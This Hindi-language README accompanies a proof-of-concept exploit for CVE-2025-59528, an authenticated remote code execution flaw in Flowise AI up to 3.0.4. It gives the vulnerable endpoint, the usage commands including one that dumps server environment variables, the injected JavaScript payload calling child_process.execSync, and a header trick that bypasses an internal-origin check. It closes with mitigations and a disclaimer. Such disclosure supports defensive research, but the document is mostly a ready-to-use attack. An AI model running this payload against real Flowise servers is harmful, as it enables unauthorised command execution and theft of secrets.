
CVE-2025-59528 के लिए Python PoC exploit, जो customMCP endpoint और Node.js child_process.execSync के माध्यम से Flowise AI <= 3.0.4 पर authenticated RCE प्राप्त करता है।
CVE ID: CVE-2025-59528
प्रभावित सॉफ़्टवेयर: Flowise AI
असुरक्षित संस्करण: <= 3.0.4
ठीक किया गया संस्करण: 3.0.5 और बाद के संस्करण
गंभीरता: गंभीर
लेखक: arensballiu
दिनांक: 2025
Flowise AI के 3.0.4 तक के संस्करण एक प्रमाणित उपयोगकर्ता को /api/v1/node-load-method/customMCP एंडपॉइंट पर एक तैयार किया गया JavaScript पेलोड भेजकर होस्ट सर्वर पर रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देते हैं।
customMCP नोड की लोड विधि उपयोगकर्ता-नियंत्रित इनपुट स्वीकार करती है जिसे सर्वर-साइड पर JavaScript के रूप में मूल्यांकित किया जाता है, बिना पर्याप्त सैनिटाइज़ेशन या सैंडबॉक्सिंग के। Node.js के child_process.execSync का उपयोग करने वाला पेलोड इंजेक्ट करके, एक हमलावर Flowise सर्वर प्रक्रिया के विशेषाधिकारों के साथ मनमाने ऑपरेटिंग सिस्टम कमांड चला सकता है।
एंडपॉइंट के लिए x-request-from: internal हेडर भी मौजूद होना आवश्यक है।
| एंडपॉइंट | विधि | प्रमाणीकरण आवश्यक | उद्देश्य |
|---|---|---|---|
/api/v1/auth/login | POST | नहीं | प्रमाणित करें और सत्र प्राप्त करें |
/api/v1/node-load-method/customMCP | POST | हाँ (सत्र कुकी) | असुरक्षित नोड लोड विधि एंडपॉइंट |
फ़ाइल: CVE-2025-59528_POC.py
requests लाइब्रेरीpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| फ़्लैग | लंबा रूप | आवश्यक | विवरण |
|---|---|---|---|
-e | --email | हाँ | प्रमाणित उपयोगकर्ता का ईमेल पता |
-i | --url | हाँ | Flowise इंस्टेंस का बेस URL |
-p | --password | हाँ | प्रमाणित उपयोगकर्ता का पासवर्ड |
-c | --cmd | हाँ | सर्वर पर निष्पादित करने के लिए OS कमांड |
कोड निष्पादन सत्यापित करें:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
सर्वर पर्यावरण चर प्राप्त करें:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
एक्सप्लॉइट mcpServerConfig फ़ील्ड में निम्नलिखित JavaScript अभिव्यक्ति इंजेक्ट करता है:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — Node.js का अंतर्निहित प्रक्रिया निष्पादन मॉड्यूल लोड करता है।execSync('<command>') — हमलावर द्वारा आपूर्ति किए गए OS कमांड को समकालिक रूप से चलाता है।x-request-from: internal हेडर भी अनुरोध में जोड़ा जाता है ताकि आंतरिक मूल जाँच को पार किया जा सके जो अन्यथा कॉल को अवरुद्ध कर देती।
customMCP एंडपॉइंट उपयोगकर्ता-आपूर्ति इनपुट को सीधे सर्वर पर JavaScript मूल्यांकन संदर्भ में पास करता है, बिना सैनिटाइज़ेशन या सैंडबॉक्सिंग के। process.mainModule.require के माध्यम से Node.js कोर मॉड्यूल (विशेष रूप से child_process) तक अप्रतिबंधित पहुँच के साथ संयुक्त, यह एक तुच्छ रूप से शोषणीय RCE वेक्टर बनाता है। x-request-from हेडर जाँच कोई सार्थक सुरक्षा सीमा प्रदान नहीं करती क्योंकि यह किसी विश्वसनीय स्रोत के विरुद्ध मान्य नहीं है।
इन दोनों भेद्यताओं को <= 3.0.4 संस्करण चलाने वाले Flowise इंस्टेंस के विरुद्ध एक अप्रमाणित RCE हमला पथ के लिए श्रृंखलाबद्ध किया जा सकता है:
vm2, पृथक संदर्भ, या process.mainModule पहुँच को हटाना) के माध्यम से खतरनाक Node.js मॉड्यूल (child_process, fs, आदि) तक पहुँच को प्रतिबंधित करें।x-request-from हेडर को सरल स्ट्रिंग जाँच के बजाय सर्वर-साइड तंत्र के माध्यम से मान्य और प्रमाणित करें।यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस स्क्रिप्ट का उपयोग अवैध और अनैतिक है। लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।